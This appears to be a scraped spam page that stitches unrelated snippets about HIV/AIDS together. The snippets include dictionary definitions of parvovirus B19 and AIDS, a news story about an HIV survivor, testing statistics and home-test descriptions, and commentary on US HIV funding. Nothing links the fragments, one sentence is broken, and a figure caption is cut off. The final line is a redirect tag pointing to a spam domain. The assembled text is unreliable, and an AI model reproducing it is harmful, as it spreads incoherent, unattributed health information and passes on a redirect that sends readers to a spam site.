B19 virus a species belonging to the genus Erythrovirus that binds to the erythrocyte P blood group antigen and is the cause of erythema infectiosum. In patients with hemolytic anemia or sickle cell disease it causes aplastic crisis; it can also cause acute arthritis. Fetal infection can hydrops fetalis and spontaneous abortion or death in utero. Persistent infection in immunocompromised patients can lead to chronic bone marrow failure. Called also human parvovirus B19.
But even Sturdevant knows he can’t save everyone. A shadow passes over his face and his voice grows low when he talks about the one young man he couldn’t save. He remains haunted by him. A few years ago, a co-worker, Dot, suggested Sturdevant talk to a quiet fair-skinned man who was struggling with his H.I.V. diagnosis. “I told him my story and let him know, ‘You can do this, too,’ ” Sturdevant recalled. “He was in denial and very secretive, but still, he got into treatment and was doing good.”
It is estimated that currently only 70% of people with HIV know their status. To reach the target of 90%, an additional 7.5 million people need to access HIV testing services. In mid-2017, 20.9 million people living with HIV were receiving antiretroviral therapy (ART) globally.
Acronym for acquired immune deficiency (or immunodeficiency) syndrome; disorder of the immune system characterized by opportunistic diseases, including candidiasis, Pneumocystis jiroveci pneumonia, oral hairy leukoplakia, herpes zoster, Kaposi sarcoma, toxoplasmosis, isosporiasis, cryptococcosis, non-Hodgkin lymphoma, and tuberculosis. The syndrome is caused by the human immunodeficiency virus (HIV-1, groups M and O, and HIV-2), which is transmitted in body fluids (notably breast milk, blood, and semen) through sexual contact, sharing of contaminated needles (by IV drug abusers), accidental needle sticks, contact with contaminated blood, or transfusion of contaminated blood or blood products. Hallmark of the immunodeficiency is depletion of T4+ or CD4+ helper/inducer lymphocytes, primarily the result of selective tropism of the virus for the lymphocytes.
Jump up ^ Donald G. McNeil, Jr. (September 16, 2010). “Precursor to H.I.V. Was in Monkeys for Millennia”. New York Times. Retrieved 2010-09-17. But P appears to have crossed over from a gorilla; it was discovered only last year, and in only one woman, who was from Cameroon, where lowland gorillas are hunted for meat.
If doctors suspect exposure to HIV infection, they do a screening test to detect antibodies to HIV. (Antibodies are proteins produced by the immune system to help defend the body against a particular attack, including that by HIV.) In addition, doctors recommend that all adults and adolescents, particularly pregnant women, have a screening test regardless of what their risk appears to be. Anyone who is concerned about being infected with HIV can request to be tested. Such testing is confidential.
Few believe there is the kind of energy, leadership, money and political will in the current political climate to fix the situation in the community that has fallen through the cracks for so long. And experts in the field have grown increasingly worried about the new administration’s commitment to fighting the disease. Soon after President Trump’s inauguration, the web page of the Office of National AIDS Policy, the architect of the National H.I.V./AIDS Strategy, was disabled on the White House website. The president’s proposed budget includes a $186 million cut in the C.D.C.’s funding for H.I.V./AIDS prevention, testing and support services. The congressional fight over the repeal of the Affordable Care Act, and the president’s declarations that “Obamacare is dead,” have conjured a disastrous return to even more alarming conditions, like waiting lists for medication. As recently as 2011, the AIDS Drug Assistance Program state-by-state list of people waiting for H.I.V. medication ballooned to over 9,000 people, mostly poor black and brown men in Southern states.
When the immune system is damaged enough that significant opportunistic infections begin to develop, the person is considered to have AIDS. For surveillance purposes in the United States, a CD4+ T-cell count less than 200/µL is also used as a measure to diagnose AIDS, although some opportunistic infections develop when CD4+ T-cell counts are higher than 200/µL, and some people with CD4 counts under 200/µL may remain relatively healthy.
Other tests can detect antibodies in body fluids other than blood, such as saliva, urine, and vaginal secretions. Some of these are designed to be rapid HIV tests that produce results in approximately 20 minutes. These tests have accuracy rates similar to traditional blood tests. OraQuick is an at-home test that uses an oral swab to detect HIV antibodies in oral fluid. Clearview is another rapid HIV test that can detect HIV antibodies in blood or plasma. HIV home-testing kits are available at many local drugstores. Blood is obtained by a finger prick and blotted on a filter strip. Other test kits use saliva or urine. The filter strip is mailed in a protective envelope to a laboratory to be tested. Results are returned by mail within one to two weeks.
The typical course of untreated infection with HIV. The first few weeks are typified by an acute influenza-like viral illness, sometimes called seroconversion disease, with high titers of virus in the blood. An adaptive immune response follows, which controls (more…)
HIV-1 probably originated from one or more cross-species transfers from chimpanzees in central Africa.  HIV-2 is closely related to viruses that infect sooty mangabeys in western Africa.  Genetically, HIV-1 and HIV-2 are superficially similar, but each contains unique genes and its own distinct replication process. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]